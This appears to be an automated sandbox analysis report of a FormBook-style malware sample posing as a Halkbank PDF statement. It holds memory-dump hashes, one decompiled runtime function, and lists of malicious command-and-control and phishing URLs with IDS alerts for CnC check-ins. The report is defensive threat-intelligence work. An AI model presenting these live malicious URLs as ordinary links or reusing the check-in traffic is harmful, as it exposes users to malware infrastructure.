0x00ad7edd
0x00ad7eea
0x00ad7ed0
0x00ad7ed0
0x00ad7ed3
0x00ad7ed3
0x00ad7eec
0x00ad7ef8
0x00ad7f00
0x00ad7f07
0x00ad7f0a
0x00ad7f19
0x00ad7f1b
0x00ad7f23
0x00ad7f25
0x00ad7f28
0x00ad7f2e
0x00ad7f31
0x00ad7f34
0x00ad7f37
0x00ad7f3c
0x00000000
0x00ad7f3e
0x00ad7f3e
0x00ad7f41
0x00a96b35
0x00a96b38
0x00a96b44
0x00a96b4c
0x00a96b4e
0x00a96b51
0x00a96b69
0x00a96b69
0x00ad7f3c
0x00ad8046
0x00000000
0x00ad8046
0x00a96abc
0x00a96aca
0x00ad7f49
0x00a96b13
0x00a96b13
0x00a96b16
0x00a96b1e
0x00ad7fe7
0x00ad7fea
0x00ad7fed
0x00ad7ff0
0x00ad7ff2
0x00ad7ff4
0x00ad7ffa
0x00000000
0x00000000
0x00ad8000
0x00ad8003
0x00ad8006
0x00ad8009
0x00ad800b
0x00ad800d
0x00ad8010
0x00ad801f
0x00000000
0x00000000
0x00ad8025
0x00a96b2f
0x00a96b2f
0x00a96b32
0x00000000
0x00a96b32
0x00a96b26
0x00ad8030
0x00ad803a
0x00ad803c
0x00ad803c
0x00ad8032
0x00ad8032
0x00ad8032
0x00ad803f
0x00a96b2c
0x00a96b2c
0x00a96b2c
0x00000000
0x00a96b26
0x00a96ad0
0x00a96ad6
0x00a96ade
0x00a96ae0
0x00a96ae0
0x00a96ae5
0x00ad7f53
0x00a96aeb
0x00a96aeb
0x00a96aeb
0x00a96af3
0x00ad7f5e
0x00ad7f61
0x00ad7f68
0x00ad7f69
0x00ad7f6b
0x00ad7f70
0x00ad7f71
0x00ad7f76
0x00ad7f77
0x00ad7f7c
0x00ad7f86
0x00ad7f88
0x00ad7f8d
0x00ad7f92
0x00ad7f97
0x00ad7f98
0x00ad7f99
0x00ad7f9a
0x00ad7f9f
0x00ad7fa0
0x00ad7fa5
0x00ad7faa
0x00ad7faa
0x00ad7faf
0x00ad7fdc
0x00ad7fdf
0x00000000
0x00ad7fb1
0x00ad7fb1
0x00ad7fb3
0x00ad7fb8
0x00ad7fd4
0x00ad7fd4
0x00000000
0x00ad7fd4
0x00ad7fba
0x00ad7fbc
0x00ad7fc2
0x00ad7fc4
0x00ad7fc4
0x00ad7fc7
0x00ad7fcb
0x00ad7fcc
0x00ad7fd1
0x00000000
0x00ad7fd1
0x00a96b04
0x00a96b04
0x00a96b0b
0x00000000
0x00000000
0x00a96b11
0x00000000
0x00a96b11
0x00a96af3

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a41753f4d0d952042517882f0065179e87db28a75c7b92ba12b29c344de32d9
Instruction ID: 46737fce3dc346f3fe7970287910b71404841d18d1fd816d3c131fe5fc0760b0
Opcode Fuzzy Hash: 8a41753f4d0d952042517882f0065179e87db28a75c7b92ba12b29c344de32d9
Instruction Fuzzy Hash: 17814E75A002199FDF24CF98C581BEDBBF5EF08350F14806AE945AB381E735AD05CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AA98A0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 642c9eb89ff61dea4fc0fcc377602bdffb73801bd9e275d6b7473f7af850604a
Instruction ID: 80e7c74b88f51f5b80398f446ee9277c9114b3a0ad81874ba7596e57ede1daa3
Opcode Fuzzy Hash: 642c9eb89ff61dea4fc0fcc377602bdffb73801bd9e275d6b7473f7af850604a
Instruction Fuzzy Hash: 3690026130100403D24261694414646040DD7D2385F91C032E1414555ED6659953F172

Uniqueness

Uniqueness Score: -1.00%

Function 00AA9820 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbab123aedc6325027a01a29262ed1a7c9adae6a658414d64df24516cdff8b74
Instruction ID: f719995656ee623fe352466aea71d6d429b4a295b24b0a4bbf22f93bc17f59a5
Opcode Fuzzy Hash: dbab123aedc6325027a01a29262ed1a7c9adae6a658414d64df24516cdff8b74
Instruction Fuzzy Hash: B690027124100403D28171694404646040DE7D1381F91C032A0414554FD6959A56FAA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AAB040 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef234063dc19f210a70bae7428b66babca74d45755b0a2ab5029f4164c4f962c
Instruction ID: ea4102b01792301a5e92dc3d108d4c7b813b652b012769d5aa7e9908f8e3d3c0
Opcode Fuzzy Hash: ef234063dc19f210a70bae7428b66babca74d45755b0a2ab5029f4164c4f962c
Instruction Fuzzy Hash: E69002A1601140434680B16948044465419E7E2341791C131A0444560DD6A89855E2A5

Uniqueness

Uniqueness Score: -1.00%

Function 00AA99D0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a86d4458615c32696607ee7822342cbe61ce772ec181f27ea8fd5bfc0a6f2b36
Instruction ID: d642fb31bcf3141b8e6508ba1b20ec6347d49ddaa7ff503e7b7ee80854962304
Opcode Fuzzy Hash: a86d4458615c32696607ee7822342cbe61ce772ec181f27ea8fd5bfc0a6f2b36
Instruction Fuzzy Hash: 249002A121100043D244616944047460449D7E2341F51C032A2144554DD5699C61A165

Uniqueness

Uniqueness Score: -1.00%

Function 00AA9950 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f30ca6b83e0060b12c5ee421a4b3ea684fab9d9299c4989f7dbef5228d93b61
Instruction ID: e9433365228d043fac525cc9de086db07c8b76303feca9347528c0b528c59f52
Opcode Fuzzy Hash: 4f30ca6b83e0060b12c5ee421a4b3ea684fab9d9299c4989f7dbef5228d93b61
Instruction Fuzzy Hash: 939002A120140403D280656948046470409D7D1342F51C031A2054555FDA699C51B175

Uniqueness

Uniqueness Score: -1.00%

Function 00AA9A80 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b931fe39de15e83f2d5088335ae1216ff6f51a85aa9d4699440d2b402625700
Instruction ID: 936949fc0e195b3af87fcc8b50261bb1b15fd386ce1bef0e7766b1d19d1683af
Opcode Fuzzy Hash: 2b931fe39de15e83f2d5088335ae1216ff6f51a85aa9d4699440d2b402625700
Instruction Fuzzy Hash: A990026120144443D28062694804B4F4509D7E2342F91C039A4146554DD9559855A761

Uniqueness

Uniqueness Score: -1.00%

Function 00AA9A10 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cec0d34fa8c5ad8fd99880f9166ab7235441e3732bd9e4974a18dde3bf06b73
Instruction ID: 7fed28f27017d91fe909a0e699115d7c32b0c8d7970a2ed767ae396e20846922
Opcode Fuzzy Hash: 3cec0d34fa8c5ad8fd99880f9166ab7235441e3732bd9e4974a18dde3bf06b73
Instruction Fuzzy Hash: 5390027120140403D240616948087870409D7D1342F51C031A5154555FD6A5D891B571

Uniqueness

Uniqueness Score: -1.00%

Function 00AAA3B0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 944075773fbd0cb4e681be7bdb4c34e59ee2af17bbd1dad6dd3db8d8b5ddd3b6
Instruction ID: b5d0f9ce3fb4aada2f14b424a84e755e03a42f629bab66f3d7a7c4552aa4476f
Opcode Fuzzy Hash: 944075773fbd0cb4e681be7bdb4c34e59ee2af17bbd1dad6dd3db8d8b5ddd3b6
Instruction Fuzzy Hash: 6190027120144003D2807169844464B5409E7E1341F51C431E0415554DD6559856E261

Uniqueness

Uniqueness Score: -1.00%

Function 00AA9B00 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a27cc5cc4dd8afb5a6faafa49f8ca1fe9297ee6eca6566a6397bc546049132c5
Instruction ID: 776c23441be3428e992387b3eba48c1286d5062ad414485a7b5721b9e89eb18f
Opcode Fuzzy Hash: a27cc5cc4dd8afb5a6faafa49f8ca1fe9297ee6eca6566a6397bc546049132c5
Instruction Fuzzy Hash: 2490026124100803D28071698414747040AD7D1741F51C031A0014554ED6569965B6F1

Uniqueness

Uniqueness Score: -1.00%

Function 00AA95F0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1ba93e07d84be9c638fffe892155426d116ca7422aa2dd84ec44db0186891d4
Instruction ID: 9d74921b52bca0e5f4827e61ae14116197f4e33ba98693b6aaf6dfc56a16dac2
Opcode Fuzzy Hash: a1ba93e07d84be9c638fffe892155426d116ca7422aa2dd84ec44db0186891d4
Instruction Fuzzy Hash: 3390027120100803D244616948046C60409D7D1341F51C031A6014655FE6A59891B171

Uniqueness

Uniqueness Score: -1.00%

Function 00AA9520 Relevance: .0, Instructions: 4COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3262ed5090320239eb0d62a0cef7ea9590f51a9383df634a5be37d2ac37b069
Instruction ID: 7d9662ad6e8a3fed1e88dd751ce4400a17061ec5250e468d676ad3c083087444
Opcode Fuzzy Hash: d3262ed5090320239eb0d62a0cef7ea9590f51a9383df634a5be37d2ac37b069
Instruction Fuzzy Hash: 889002E1201140934640A2698404B4A4909D7E1341F51C036E1044560DD5659851E175

Uniqueness

Uniqueness Score: -1.00%

Function 00AAAD30 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62fb9d8e3972fe3c2372059165309c6db8f1890b28b3c6dd8f8ad052b60e8a8c
Instruction ID: 34e9d23b28d07dda06aa8d4f62a22997667d2d4d74561f2e18c7cb25afe26bca
Opcode Fuzzy Hash: 62fb9d8e3972fe3c2372059165309c6db8f1890b28b3c6dd8f8ad052b60e8a8c
Instruction Fuzzy Hash: CE900271A0500013928071694814686440AE7E1781F55C031A0504554DD9949A55A3E1

Uniqueness

Uniqueness Score: -1.00%

Function 00AA9560 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 807c7c3c4ea71f69cbc52fcb2c5ebad7b85942768e21f6a59e9ef5d9edbf1ac9
Instruction ID: 3e5ee99703103bf0c494ce5b740914bb704dc17833dd4cc4dfcae72819f0a1b8
Opcode Fuzzy Hash: 807c7c3c4ea71f69cbc52fcb2c5ebad7b85942768e21f6a59e9ef5d9edbf1ac9
Instruction Fuzzy Hash: BD900265221000030285A569060454B0849E7D7391791C035F1406590DD6619865A361

Uniqueness

Uniqueness Score: -1.00%

Function 00AA96D0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c717cff61ccb43fedfba088290d1647c2aa7196fd359bf905ec1a0e33c3671dc
Instruction ID: 53d2bf8f1b0d460efcd76ed25c909f7e08799cc461d3d10a605fa2e80575f851
Opcode Fuzzy Hash: c717cff61ccb43fedfba088290d1647c2aa7196fd359bf905ec1a0e33c3671dc
Instruction Fuzzy Hash: 4490027120100843D24061694404B860409D7E1341F51C036A0114654ED655D851B561

Uniqueness

Uniqueness Score: -1.00%

Function 00AA9610 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c67040dbf8fec358a8ad22804a1dc878ed713e8c2d69e346b7b3533f76365146
Instruction ID: a9ede3f7c53e25d79cfd4b8e9e7ab47ef1a10a3254a9be50b3da8e2cb2080f6c
Opcode Fuzzy Hash: c67040dbf8fec358a8ad22804a1dc878ed713e8c2d69e346b7b3533f76365146
Instruction Fuzzy Hash: 5E90027160500803D290716944147860409D7D1341F51C031A0014654ED7959A55B6E1

Uniqueness

Uniqueness Score: -1.00%

Function 00AA9650 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58cd91f686df796bfb5bc47276fa1236813a9e44e8c53aa90c04331b943d09af
Instruction ID: c084f8f012757f0d8577e2c57e4afae6fd6f9ea66af732f8ed40cab02e9168f7
Opcode Fuzzy Hash: 58cd91f686df796bfb5bc47276fa1236813a9e44e8c53aa90c04331b943d09af
Instruction Fuzzy Hash: 4790027120504843D28071694404A860419D7D1345F51C031A0054694EE6659D55F6A1

Uniqueness

Uniqueness Score: -1.00%

Function 00AA9730 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1aa518a431db8f3fbf8dab5a7c5c6332b0a3fe47b082b5ba08aea8963dc7d359
Instruction ID: 02f0165ac3a81477885a747cb44e45e695ecb3afb0d27b0a62c6ce26b9f2ab04
Opcode Fuzzy Hash: 1aa518a431db8f3fbf8dab5a7c5c6332b0a3fe47b082b5ba08aea8963dc7d359
Instruction Fuzzy Hash: EF90026160500403D280716954187460419D7D1341F51D031A0014554ED6999A55B6E1

Uniqueness

Uniqueness Score: -1.00%

Function 00AAA710 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f11f42688422bbc866fa7ca59c1251a679a157c5348223cfc49f5d9060a121ec
Instruction ID: d28de0b2940ae967444aac691aa3b382a3b9abd4964a1e1fd030553d0fadbc3c
Opcode Fuzzy Hash: f11f42688422bbc866fa7ca59c1251a679a157c5348223cfc49f5d9060a121ec
Instruction Fuzzy Hash: 6C900271301000539640A6A95804A8A4509D7F1341F51D035A4004554DD5949861A161

Uniqueness

Uniqueness Score: -1.00%

Function 00AA9760 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40f369818cbe01a39cc72b3055df0d2a12d602eba24952e00c01333135c411b9
Instruction ID: f0913206a4ae92bd550c2b46d54513cd428747659343a1f707c27b14d2a72613
Opcode Fuzzy Hash: 40f369818cbe01a39cc72b3055df0d2a12d602eba24952e00c01333135c411b9
Instruction Fuzzy Hash: 6690027120100403D240616955087470409D7D1341F51D431A0414558EE6969851B161

Uniqueness

Uniqueness Score: -1.00%

Function 00AA9770 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84f9349dcbe8c14ce4b94011731971fee3ee08ee14720653a0535a1deb889c51
Instruction ID: 89f98db0f3eb6d282948df418d73f6c62b2f969274da9508d1c86c7113ec9258
Opcode Fuzzy Hash: 84f9349dcbe8c14ce4b94011731971fee3ee08ee14720653a0535a1deb889c51
Instruction Fuzzy Hash: 5990026120504443D24065695408A460409D7D1345F51D031A1054595ED6759851F171

Uniqueness

Uniqueness Score: -1.00%

Function 00AAA770 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3a467386f3f6d2c2db63433275328b97d1e958337217edd3546db674039fa6b
Instruction ID: 1407dcf5a6e870b0e1fffdcd91625bba82f79131df090ed1ac233d2e2e9f6331
Opcode Fuzzy Hash: a3a467386f3f6d2c2db63433275328b97d1e958337217edd3546db674039fa6b
Instruction Fuzzy Hash: CE90027520504443D64065695804AC70409D7D1345F51D431A041459CED6949861F161

Uniqueness

Uniqueness Score: -1.00%

Function 00AA9670 Relevance: .0, Instructions: 2COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction ID: 5af8322f4f95ad0ade0990ce6918233cddeed9e1a90a3dff63dd899b2780db26
Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00AFFDDA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00AFFDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E00AACE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E00AF5720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E00AF5720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x00affdda
0x00affde2
0x00affde5
0x00affdec
0x00affdfa
0x00affdff
0x00affe0a
0x00affe0f
0x00affe17
0x00affe1e
0x00affe19
0x00affe19
0x00affe19
0x00affe20
0x00affe21
0x00affe22
0x00affe25
0x00affe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00AFFDFA

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 00AFFE2B
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 00AFFE01

Memory Dump Source

Source File: 00000003.00000002.344637364.0000000000A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a40000_vokkqsp.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: 39207f8fa1284adc6ca361b59df95119587a5ec41a71054cdfdb9cfbdaa68416
Instruction ID: e48dd4179ea285de304f4e78694fd3cf748494568bc6589bbaec442085be3071
Opcode Fuzzy Hash: 39207f8fa1284adc6ca361b59df95119587a5ec41a71054cdfdb9cfbdaa68416
Instruction Fuzzy Hash: FEF0F632640605BFEA201A95DD02F33BF6AEB45730F240714F728565E2EA62F82097F0

Uniqueness

Uniqueness Score: -1.00%

Source: http://www.searchvity.com/?dn=	URL Reputation: Label: malware
Source: http://www.searchvity.com/	URL Reputation: Label: malware
Source: http://ladybillplanet.com/ghii/?1LM=nNwsU5RDSztrDyxRHILLs79A8ojzBVjbvYOj2DqB/Q3esj8ZmeFlGSz1p8lC	Avira URL Cloud: Label: malware
Source: http://www.octohoki.net/ghii/	Avira URL Cloud: Label: malware
Source: http://www.octohoki.net	Avira URL Cloud: Label: malware
Source: http://www.hubyazilim.com/ghii/	Avira URL Cloud: Label: malware
Source: http://www.energybig.xyz/ghii/	Avira URL Cloud: Label: malware
Source: http://www.energybig.xyz/ghii/?1LM=Hsu0eFbPaPXvQj1driY9Qb+UxIEGydZDMi24Zx/KBNJzrILAD6eOCtsvvO79CgG5LYmF38wKy0LUujLv+r7tqaEj2Tcyyr5eEg==&kTj=94JTJ5e-oG	Avira URL Cloud: Label: malware
Source: http://www.7dkjhk.com/ghii/	Avira URL Cloud: Label: malware
Source: http://www.genuineinsights.cloud/ghii/	Avira URL Cloud: Label: malware
Source: http://www.energybig.xyz	Avira URL Cloud: Label: malware
Source: http://www.ladybillplanet.com/ghii/	Avira URL Cloud: Label: malware
Source: http://www.genuineinsights.cloud	Avira URL Cloud: Label: phishing
Source: http://www.octohoki.net/ghii/?1LM=mbPzPtZ0Er8L5pad82wwGh9ocqcT3a4VC5lEcjpUbblZCC9rEfNiJ4Zzn4lMJLJJ2TaA1od8FsE8LCEUSFIleqyuhYHktxRXxg==&kTj=94JTJ5e-oG	Avira URL Cloud: Label: malware
Source: http://www.wenzid4.top/ghii/?1LM=MOY5/0rZkCSn1x8B5kGxcu4kjN12BC26NMBU4rUAiJ09dU/WDm+Fx0Du9tK3DtQGeLOXEwxSHBLi0tUrRAF6AgWuiPHLLIEAEQ==&kTj=94JTJ5e-oG	Avira URL Cloud: Label: malware
Source: http://www.genuineinsights.cloud/ghii/?1LM=b9pmEiWE3A9hICRLJ48/0GIWTdcguNEQkRUuEoMGZR2jfpcIS7+82C+h9uoa2hbDMoucG0FStkg6AqIGzw0t5RnkbE2XBG6Jig==&kTj=94JTJ5e-oG	Avira URL Cloud: Label: malware
Source: http://www.wenzid4.top/ghii/	Avira URL Cloud: Label: malware

Source: 1.2.vokkqsp.exe.650000.1.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 3.2.vokkqsp.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen

Source: Traffic	Snort IDS: 2023883 ET DNS Query to a *.top domain - Likely Hostile 192.168.2.4:56572 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49703 -> 198.54.117.212:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49703 -> 198.54.117.212:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.4:49703 -> 198.54.117.212:80

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: BIZLAND-SDUS BIZLAND-SDUS

Source: colorcpl.exe, 00000005.00000002.570570309.0000000005F50000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://ladybillplanet.com/ghii/?1LM=nNwsU5RDSztrDyxRHILLs79A8ojzBVjbvYOj2DqB/Q3esj8ZmeFlGSz1p8lC
Source: Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.7dkjhk.com
Source: explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.7dkjhk.com/ghii/
Source: explorer.exe, 00000004.00000003.446712622.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.578814655.000000000849B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.548961361.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.561149188.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.553487749.0000000008494000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.assilajamiart.com
Source: explorer.exe, 00000004.00000003.448170741.0000000008499000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.assilajamiart.com/ghii/
Source: explorer.exe, 00000004.00000000.320111169.0000000008260000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
